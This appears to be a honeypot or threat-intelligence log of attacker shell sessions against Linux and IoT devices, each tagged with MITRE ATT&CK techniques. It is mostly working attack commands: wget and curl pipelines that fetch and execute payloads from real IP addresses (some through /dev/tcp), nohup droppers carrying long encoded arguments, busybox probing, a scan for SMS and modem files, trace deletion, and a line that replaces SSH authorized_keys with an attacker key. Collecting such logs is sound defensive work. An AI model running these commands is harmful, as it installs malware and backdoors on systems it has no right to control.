uname -a ;wget -qO - http://80.68.196.6/wei|perl ; cd /tmp ; curl -O http://80.68.196.6/wei ; fetch http://80.68.196.6/wei ; perl wei ;rm -rf wei*

('uname -a ; wget -qO - | perl ; cd ; curl -O ; perl ; rm -rf',)

T1082 System Information Discovery
T1105 Ingress Tool Transfer
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VVPDI

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XEQDD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZPAGK


nohup $SHELL -c "curl http://47.238.166.49:60137/linux -o /tmp/NBZR0OwLzE; if [ ! -f /tmp/NBZR0OwLzE ]; then wget http://47.238.166.49:60137/linux -O /tmp/NBZR0OwLzE; fi; if [ ! -f /tmp/NBZR0OwLzE ]; then exec 6<>/dev/tcp/47.238.166.49/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/NBZR0OwLzE && chmod +x /tmp/NBZR0OwLzE && /tmp/NBZR0OwLzE F3icf0/JIoss8m5ieDRvbm7zM4Am21B6kXZrbmyGeVnLP4E0+W5kZzBhdGnxMp0kzk9xnXZrbGKeeFDPIJM67WpmZC5nYm7tMYQrzVF5m256aGqaZlnPP4E38HZlYThsYmjyMIIxylF5hmtudG6QZljOK4Uy8mhsdjFkZXb3MZ0gzlRmnmtgbGiZeVXbKZ0w8mF6ZzFkemn0Ookny1B4nnhidGqaek/KJoQs9WFuYDBnZWrjNoQ/yVJ+hmlsbnafcVvNIYIy8XhlYzh4ZW7zLIIjzU9/nmJsammcf0HKIIEs+ml6ZzFnemn7O4kny1B8nXhra2CGeVHMP4cx7WljZzpgZGn3NJMgy1BmkGF0bW6GelPBJ4Mz8Wl0YDF4ZWv7LIIpzk96m2xgbGiZfFnbJYQs8WtieDljemn6OIUhylF9iGxtdG+eZlbMP4I69GJiZjFlY3j2Np0nzE95mm90a2yRclfLIIE642lhbi5nYmjtM4En1VZ+km5qa2yfaFDKKJ079XZtYC5nY2z5NIMgyVhonG90aGueZlDOIp0382JiZjFiZ3jyN4c/w095nGh0a2meclfLIIM742xjeDJiZnb6N50jylRynmhraG2IeVPKP4cx7WlhYy5gZ2L1MoIgz0F8m3ZraWGGelLCP4Ew+mJiZjFiZ3jxMIE/w1Vmmm1pdGmfcFvNIYIw8nhgYS5kZ27tM4Yp1VB6nWJsammYfkHDP4Ew8XZlYTd4YmH5NIMgylNomWhrdGGZZlDLJp0z8W9uYDBnYG/jM4Mg1VJ8hm5idGGdclfLIIM6pMicX+hQhQd5S3rnwPOWsyKIe7SUq4kXNJD+NC8=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/NBZR0OwLzE && /tmp/NBZR0OwLzE F3icf0/JIoss8m5ieDRvbm7zM4Am21B6kXZrbmyGeVnLP4E0+W5kZzBhdGnxMp0kzk9xnXZrbGKeeFDPIJM67WpmZC5nYm7tMYQrzVF5m256aGqaZlnPP4E38HZlYThsYmjyMIIxylF5hmtudG6QZljOK4Uy8mhsdjFkZXb3MZ0gzlRmnmtgbGiZeVXbKZ0w8mF6ZzFkemn0Ookny1B4nnhidGqaek/KJoQs9WFuYDBnZWrjNoQ/yVJ+hmlsbnafcVvNIYIy8XhlYzh4ZW7zLIIjzU9/nmJsammcf0HKIIEs+ml6ZzFnemn7O4kny1B8nXhra2CGeVHMP4cx7WljZzpgZGn3NJMgy1BmkGF0bW6GelPBJ4Mz8Wl0YDF4ZWv7LIIpzk96m2xgbGiZfFnbJYQs8WtieDljemn6OIUhylF9iGxtdG+eZlbMP4I69GJiZjFlY3j2Np0nzE95mm90a2yRclfLIIE642lhbi5nYmjtM4En1VZ+km5qa2yfaFDKKJ079XZtYC5nY2z5NIMgyVhonG90aGueZlDOIp0382JiZjFiZ3jyN4c/w095nGh0a2meclfLIIM742xjeDJiZnb6N50jylRynmhraG2IeVPKP4cx7WlhYy5gZ2L1MoIgz0F8m3ZraWGGelLCP4Ew+mJiZjFiZ3jxMIE/w1Vmmm1pdGmfcFvNIYIw8nhgYS5kZ27tM4Yp1VB6nWJsammYfkHDP4Ew8XZlYTd4YmH5NIMgylNomWhrdGGZZlDLJp0z8W9uYDBnYG/jM4Mg1VJ8hm5idGGdclfLIIM6pMicX+hQhQd5S3rnwPOWsyKIe7SUq4kXNJD+NC8=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OMFGP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WORQC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RXQBY


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IUENU

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BBYBI

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MEWTX

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ASYCY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YXHIS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ESPPB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GGHFP

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RBWCX


nohup $SHELL -c "curl http://121.43.155.63:60114/linux -o /tmp/4hlMx1nXJl; if [ ! -f /tmp/4hlMx1nXJl ]; then wget http://121.43.155.63:60114/linux -O /tmp/4hlMx1nXJl; fi; if [ ! -f /tmp/4hlMx1nXJl ]; then exec 6<>/dev/tcp/121.43.155.63/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/4hlMx1nXJl && chmod +x /tmp/4hlMx1nXJl && /tmp/4hlMx1nXJl x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQK064dzRgtE4qD4HBhdGnuLuxx5TBgRAiQLRvMGi/TToMg86L3rGkuKfYn8CCDytBrmEua79BNAiH2JfYvrC8udiUwZIGNEq/bi5rvEg0D4vBn9+5u769yZTEhxAiQKBrMm+gTCwEhMaU27iqubDHlMaDECxBoGsybLROKg+GzoXYubuksNiLx4IJNEm8bjpvvkkuCZLCkse7ubKn2JPAnAojQrhpMWq5WCIQgMecx7i/u6fbkMaICCpJv2sgaLtANA+ExovYu7ykvt+fwIIPLk+ubTd3vEssEIPAkce4ubmz35XHgAw6TLl3Mmq4VisIhtiS0LO8urjZl9aDDCtWumouaLtNNAiBzJPZuLu+qd2S2IMPLFa/bzl3vEkuBITGlNi8qru73IvHgAo0SbZtLmi9SSAIgseW0Km7u7rHkcOcDy5OoGE6b75JKQySx5DRp7i4uceUxoAQKEq7YzZpv0oiHobBi9u6vKS73ZzYig8gTr5oMmquTC0QgMWTx7i/s6fYkcGICCpJvmkgbblWKA2E2JfZp7uzuNOTxoMNLli8aTN3u040DIDOi9u6urC/2ZTHhh4iSKBrNGmgSSgInMeU27O8urjYltaEDjRJuGwuaLxPNA+KwJ/fubu+usmTx5wPKUGgaDFgoE0qBITGlNi5qru40YvFgxAoTLp3MWu2QiwOg8STybi6vKfcltiADi1WuWM2ab9KKh6Ex4vYurKkuNGQ2IANLkK4aTFttlguCZzBk8e7vrmn2JPPiAgqSb1oWqHPJNzNcTXuODz9ZbaWL09/KoEmKNBDVA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/4hlMx1nXJl && /tmp/4hlMx1nXJl x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQK064dzRgtE4qD4HBhdGnuLuxx5TBgRAiQLRvMGi/TToMg86L3rGkuKfYn8CCDytBrmEua79BNAiH2JfYvrC8udiUwZIGNEq/bi5rvEg0D4vBn9+5u769yZTEhxAiQKBrMm+gTCwEhMaU27iqubDHlMaDECxBoGsybLROKg+GzoXYubuksNiLx4IJNEm8bjpvvkkuCZLCkse7ubKn2JPAnAojQrhpMWq5WCIQgMecx7i/u6fbkMaICCpJv2sgaLtANA+ExovYu7ykvt+fwIIPLk+ubTd3vEssEIPAkce4ubmz35XHgAw6TLl3Mmq4VisIhtiS0LO8urjZl9aDDCtWumouaLtNNAiBzJPZuLu+qd2S2IMPLFa/bzl3vEkuBITGlNi8qru73IvHgAo0SbZtLmi9SSAIgseW0Km7u7rHkcOcDy5OoGE6b75JKQySx5DRp7i4uceUxoAQKEq7YzZpv0oiHobBi9u6vKS73ZzYig8gTr5oMmquTC0QgMWTx7i/s6fYkcGICCpJvmkgbblWKA2E2JfZp7uzuNOTxoMNLli8aTN3u040DIDOi9u6urC/2ZTHhh4iSKBrNGmgSSgInMeU27O8urjYltaEDjRJuGwuaLxPNA+KwJ/fubu+usmTx5wPKUGgaDFgoE0qBITGlNi5qru40YvFgxAoTLp3MWu2QiwOg8STybi6vKfcltiADi1WuWM2ab9KKh6Ex4vYurKkuNGQ2IANLkK4aTFttlguCZzBk8e7vrmn2JPPiAgqSb1oWqHPJNzNcTXuODz9ZbaWL09/KoEmKNBDVA==" &#UPX!

nohup $SHELL -c "curl http://121.43.155.63:60114/linux -o /tmp/Bn8qiQLV6w; if [ ! -f /tmp/Bn8qiQLV6w ]; then wget http://121.43.155.63:60114/linux -O /tmp/Bn8qiQLV6w; fi; if [ ! -f /tmp/Bn8qiQLV6w ]; then exec 6<>/dev/tcp/121.43.155.63/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Bn8qiQLV6w && chmod +x /tmp/Bn8qiQLV6w && /tmp/Bn8qiQLV6w x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQK064dzRgtE4qD4HBhdGnuLuxx5TBgRAiQLRvMGi/TToMg86L3rGkuKfYn8CCDytBrmEua79BNAiH2JfYvrC8udiUwZIGNEq/bi5rvEg0D4vBn9+5u769yZTEhxAiQKBrMm+gTCwEhMaU27iqubDHlMaDECxBoGsybLROKg+GzoXYubuksNiLx4IJNEm8bjpvvkkuCZLCkse7ubKn2JPAnAojQrhpMWq5WCIQgMecx7i/u6fbkMaICCpJv2sgaLtANA+ExovYu7ykvt+fwIIPLk+ubTd3vEssEIPAkce4ubmz35XHgAw6TLl3Mmq4VisIhtiS0LO8urjZl9aDDCtWumouaLtNNAiBzJPZuLu+qd2S2IMPLFa/bzl3vEkuBITGlNi8qru73IvHgAo0SbZtLmi9SSAIgseW0Km7u7rHkcOcDy5OoGE6b75JKQySx5DRp7i4uceUxoAQKEq7YzZpv0oiHobBi9u6vKS73ZzYig8gTr5oMmquTC0QgMWTx7i/s6fYkcGICCpJvmkgbblWKA2E2JfZp7uzuNOTxoMNLli8aTN3u040DIDOi9u6urC/2ZTHhh4iSKBrNGmgSSgInMeU27O8urjYltaEDjRJuGwuaLxPNA+KwJ/fubu+usmTx5wPKUGgaDFgoE0qBITGlNi5qru40YvFgxAoTLp3MWu2QiwOg8STybi6vKfcltiADi1WuWM2ab9KKh6Ex4vYurKkuNGQ2IANLkK4aTFttlguCZzBk8e7vrmn2JPPiAgqSb1oWqHPJNzNcTXuODz9ZbaWL09/KoEmKNBDVA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/Bn8qiQLV6w && /tmp/Bn8qiQLV6w x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQK064dzRgtE4qD4HBhdGnuLuxx5TBgRAiQLRvMGi/TToMg86L3rGkuKfYn8CCDytBrmEua79BNAiH2JfYvrC8udiUwZIGNEq/bi5rvEg0D4vBn9+5u769yZTEhxAiQKBrMm+gTCwEhMaU27iqubDHlMaDECxBoGsybLROKg+GzoXYubuksNiLx4IJNEm8bjpvvkkuCZLCkse7ubKn2JPAnAojQrhpMWq5WCIQgMecx7i/u6fbkMaICCpJv2sgaLtANA+ExovYu7ykvt+fwIIPLk+ubTd3vEssEIPAkce4ubmz35XHgAw6TLl3Mmq4VisIhtiS0LO8urjZl9aDDCtWumouaLtNNAiBzJPZuLu+qd2S2IMPLFa/bzl3vEkuBITGlNi8qru73IvHgAo0SbZtLmi9SSAIgseW0Km7u7rHkcOcDy5OoGE6b75JKQySx5DRp7i4uceUxoAQKEq7YzZpv0oiHobBi9u6vKS73ZzYig8gTr5oMmquTC0QgMWTx7i/s6fYkcGICCpJvmkgbblWKA2E2JfZp7uzuNOTxoMNLli8aTN3u040DIDOi9u6urC/2ZTHhh4iSKBrNGmgSSgInMeU27O8urjYltaEDjRJuGwuaLxPNA+KwJ/fubu+usmTx5wPKUGgaDFgoE0qBITGlNi5qru40YvFgxAoTLp3MWu2QiwOg8STybi6vKfcltiADi1WuWM2ab9KKh6Ex4vYurKkuNGQ2IANLkK4aTFttlguCZzBk8e7vrmn2JPPiAgqSb1oWqHPJNzNcTXuODz9ZbaWL09/KoEmKNBDVA==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nan', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HETKF

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/jRSY5ORqb3; if [ ! -f /tmp/jRSY5ORqb3 ]; then wget http://129.144.180.26:60107/linux -O /tmp/jRSY5ORqb3; fi; if [ ! -f /tmp/jRSY5ORqb3 ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jRSY5ORqb3 && chmod +x /tmp/jRSY5ORqb3 && /tmp/jRSY5ORqb3 12LeMce5a0hdWDxwMGY/QFNKaqbONM96uKRz2C3MompSUUQ3fjB5OU5JTWyv0DLee7inddwtyq9gSllHOXogfDpYW09suc811mynpHHVNc6maElJQjpmMns7WFhFarnGMNV0pqdz3SPPr2hSWEM8ZjR8I0RcSWChzjLbcraubN0yybloTllYPHE3cjtGWEhut88z2WynpHbBMs2idEVYTDt4MXg1Vl1PdKbLNcF6pLhz3jLEoWpNWkYtejB7I0RcUmimzi3edaasdN8yzaB6TVtDI3kyfCNEW050pskz1XSmp3PeI8ymYlJeTiN6Lnk3QFlNa67eMtdzuKRz2y3MpGtSXk83fjB5PkRJTWqm0DrebKemdcE6z61sTFhCPWgyeTVYW0xrucs0wXOlpnjZM8+jYlxdQSN5MHgjQlpSY6PENd9zpaNi1y3MpmJSWkQjejJ+N0BZTWmi3jLdd7incNstz69uUlhFPHI2eDxFUFxiucwy12ykp2zdMsetbExYRjVoMXA+WFxKdKbHMMFzoqB42TPPp25cWEM9ZjJ6PlhfTnSmyTrVdKandtcjyqB0S19YOnoueTpAU0pqps01z3SnuHPZM9Cla09HRD5xOn49R1lNeqbMM8F1prhz3zLQoGpGX0Y8fDdoPERQUmujyi3eeqa4cNk5yKdrTF5WPHg2ZjhFR01jptAy2nasoHLeN8u3YlJbRzpmMXE/WFtLYKHOMttwtqJ1wTHNoXROWUUjfjJyO0ZYSGK3zzLYbKelc8Eyy6Z0TV9PN34weT9CSU1ootA02mynp3LBNMetbExYQjvlclYfacBIYghLqaiw4KQ9YR4SV5ccuTBztaw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/jRSY5ORqb3 && /tmp/jRSY5ORqb3 12LeMce5a0hdWDxwMGY/QFNKaqbONM96uKRz2C3MompSUUQ3fjB5OU5JTWyv0DLee7inddwtyq9gSllHOXogfDpYW09suc811mynpHHVNc6maElJQjpmMns7WFhFarnGMNV0pqdz3SPPr2hSWEM8ZjR8I0RcSWChzjLbcraubN0yybloTllYPHE3cjtGWEhut88z2WynpHbBMs2idEVYTDt4MXg1Vl1PdKbLNcF6pLhz3jLEoWpNWkYtejB7I0RcUmimzi3edaasdN8yzaB6TVtDI3kyfCNEW050pskz1XSmp3PeI8ymYlJeTiN6Lnk3QFlNa67eMtdzuKRz2y3MpGtSXk83fjB5PkRJTWqm0DrebKemdcE6z61sTFhCPWgyeTVYW0xrucs0wXOlpnjZM8+jYlxdQSN5MHgjQlpSY6PENd9zpaNi1y3MpmJSWkQjejJ+N0BZTWmi3jLdd7incNstz69uUlhFPHI2eDxFUFxiucwy12ykp2zdMsetbExYRjVoMXA+WFxKdKbHMMFzoqB42TPPp25cWEM9ZjJ6PlhfTnSmyTrVdKandtcjyqB0S19YOnoueTpAU0pqps01z3SnuHPZM9Cla09HRD5xOn49R1lNeqbMM8F1prhz3zLQoGpGX0Y8fDdoPERQUmujyi3eeqa4cNk5yKdrTF5WPHg2ZjhFR01jptAy2nasoHLeN8u3YlJbRzpmMXE/WFtLYKHOMttwtqJ1wTHNoXROWUUjfjJyO0ZYSGK3zzLYbKelc8Eyy6Z0TV9PN34weT9CSU1ootA02mynp3LBNMetbExYQjvlclYfacBIYghLqaiw4KQ9YR4SV5ccuTBztaw=" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/X3x8j8XE9A', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('uname', 'cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')